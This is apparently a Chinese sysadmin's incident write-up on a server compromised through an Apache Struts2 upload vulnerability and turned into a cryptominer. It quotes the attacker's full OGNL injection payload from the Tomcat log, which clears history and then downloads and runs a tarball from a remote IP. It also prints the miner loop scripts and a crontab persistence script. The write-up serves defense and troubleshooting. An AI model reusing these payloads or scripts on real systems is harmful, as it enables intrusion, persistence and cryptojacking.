1. 程式人生 > >關於apache的Struts2上傳機制漏洞

關於apache的Struts2上傳機制漏洞

關於apache的Struts2上傳機制

一.環境說明

2018-04-24早上,開發說他們的聊天的項目不能登錄,於是立刻查看服務器,結果已經不能遠程登錄服務器了,但是服務器的外網ip是可以ping通的,無解,只能讓機房的同事登錄服務器查看。
同事登錄服務器,查看原來服務器上的sshd服務被關閉了,導致不能遠程連接了
。開啟sshd服務,我這邊遠程登錄服務器,查看。服務器上的所有的服務,tomcat
Mysql nginx crond等服務都被關掉了。一開始以為是服務器自身的故障導致服務器重啟,線上的服務都沒起來,但是查看服務器上服務是否是開機自啟動的,結果,服務都是開機自啟動。而且top看服務器的運行時間,服務器都是一致都是正常的運行的,也沒有重啟過。

[root@localhost tmp]# chkconfig --list|grep -E "sshd|mysql|nginx|crond"

crond           0:off   1:off   2:on    3:on    4:on    5:on    6:off
mysqld          0:off   1:off   2:on    3:on    4:on    5:on    6:off
nginx           0:off   1:off   2:off   3:off   4:off   5:off   6:off
sshd            0:off   1:off   2:on    3:on    4:on    5:on    6:off

但是查看系統日誌和安全登錄日誌,以及服務器的歷史操作記錄,以及我的定時任務的的內容,結果都被清空了,根本無法查找。太詭異了。基於以上的情況出現了兩次,
於是對服務器做了安全限制,只能采用秘鑰登錄,修改服務器的sshd端口,
為了防止服務器上的sshd服務,crond服務,mysql,tomcat被異常關閉,以及定時任務內容被清空,於是寫腳本檢測服務進程不存在就啟動服務,而且特意對crond文件進行了加鎖,防止被刪掉內容。

好景不長,
2018-04-26,也就是今天下午有出現異常,突然收到7.3服務器負載爆高的報警,
於是又開始排查,原來發現是代碼的漏洞導致服務器被植入腳本了,下面是排查過程:
top查看負載,服務器負載飆高

技術分享圖片

查看cpu高的進程所運行的程序:
技術分享圖片

[root@localhost .xxz]# cd /var/tmp/
[root@localhost tmp]# ls
1.sh 3.sh sum
發現2個異常腳本和一個可執行程序,於是立刻去掉三個文件的執行權限
chmod 400 1.sh 3.sh sum
技術分享圖片
發現異常腳本
於是先kill掉sum的這個異常的進程
繼續查看進程結果發現md的程序的cpu突然暴增
技術分享圖片
於是立刻kill掉md程序,服務器的負載迅速下降下來了

查看植入服務器的異常腳本:

root@localhost tmp]# cat 1.sh 
#!/bin/sh
while true; do
    server=`ps aux | grep sum | grep -v grep`
    if [ ! "$server" ]; then
        /var/tmp/sum -a sumo --host pool.sumokoin.hashvault.pro --port 3333 --user Sumoo3cjhZQNWkaxZdKpVeaRMpjDE7PV7VuK3KsGxPRKYvd5oq5VuvE58zCPfoJW8zdoMpW8UmXc4GoA7VgkfocBMgpn52QMG89 --pass xc
        sleep 10
    fi
    sleep 5
done[root@localhost tmp]# cat 3.sh 
#!/bin/sh
while true; do
    server=`ps aux | grep sum | grep -v grep`
    if [ ! "$server" ]; then
        /var/tmp/sum -a sumo --host pool.sumokoin.hashvault.pro --port 3333 --user Sumoo3cjhZQNWkaxZdKpVeaRMpjDE7PV7VuK3KsGxPRKYvd5oq5VuvE58zCPfoJW8zdoMpW8UmXc4GoA7VgkfocBMgpn52QMG89 --pass xc
        sleep 10
    fi
sleep 5

繼續排查,查看服務器的系統日誌,沒發現異常,於是又查看服務器的登錄日誌,也沒發現登錄異常的日誌文件
tailf /var/log/messages
tailf /var/log/secure

那這些腳本有事如何上傳到服務器上的呢? 忽然想到了,服務器上運行的tomcat得服務,而且聽開發說是上傳文件的java程序, 需要開始一個個日誌文件查看,準予讓我發現了蛛絲馬跡了

[root@localhost logs]# grep export catalina.out 
org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn‘t contain a multipart/form-data or multipart/form-data stream, content type header is %{(#_=‘multipart/form-data‘).(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container‘]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=‘HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG WATCH ; history -n; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0; cd /tmp; cd /var/tmp; chattr -ais *; wget http://52.175.207.110/.xxlol.tar.gz; curl -O http://52.175.207.110/.xxlol.tar.gz; fetch http://52.175.207.110/.xxlol.tar.gz; lwp-download http://52.175.207.110/.xxlol.tar.gz; tar -xvf .xxlol.tar.gz; rm -rf .xxlol.tar.gz; cd .xxz; chmod 777 *; ./x; ./run; history -c‘).(#iswin=(@java.lang.System@getProperty(‘os.name‘).toLowerCase().contains(‘win‘))).(#cmds=(#iswin?{‘cmd.exe‘,‘/c‘,#cmd}:{‘/bin/bash‘,‘-c‘,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

紅色的字體,發現下載一個程序到服務器/var/tmp/下面,解壓出來是一個隱藏文件

[root@localhost tmp]# pwd
/var/tmp
[root@localhost tmp]# ls -al
total 2644
drwxr-xr-x.  3 root root    4096 Apr 26 15:29 .
drwxr-xr-x. 21 root root    4096 Apr 10  2017 ..
-r--------   1 root root     333 Apr 24 22:44 1.sh
-r--------   1 root root     333 Apr 24 22:06 3.sh
-r--------   1 root root 2684568 Apr 24 22:06 sum
drwx------   2 1002 1002    4096 Apr 26 16:37 .xxz
[root@localhost tmp]# cd .xxz/
[root@localhost .xxz]# ls
a  bash.pid  cron.d  dir.dir  h32  h64  md  run  x
[root@localhost .xxz]#

去掉執行權限:

技術分享圖片

md h64 h32 run 都是惡意代碼的執行程序

[root@localhost .xxz]# cat a

pwd > dir.dir
dir=$(cat dir.dir)
echo "* * * * * $dir/upd >/dev/null 2>&1" > cron.d
crontab cron.d
crontab -l | grep upd
echo "#!/bin/sh
if test -r $dir/bash.pid; then
pid=\$(cat $dir/bash.pid)
if \$(kill -CHLD \$pid >/dev/null 2>&1)
then
exit 0
fi
fi
cd $dir
./run &>/dev/null
chmod u+x upd
./run &>/dev/null

於是百度了一下如下代碼:

org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn‘t contain a multipart/form-data or multipart/form-data stream, content type heade

結果查到了struts高危漏洞:
參考地址:
https://paper.seebug.org/241/
於是提交開發讓開發修補代碼漏洞,解決問題。
此處只是簡單的介紹了下遇到黑服務器的幾個常見的排查思路

關於apache的Struts2上傳機制漏洞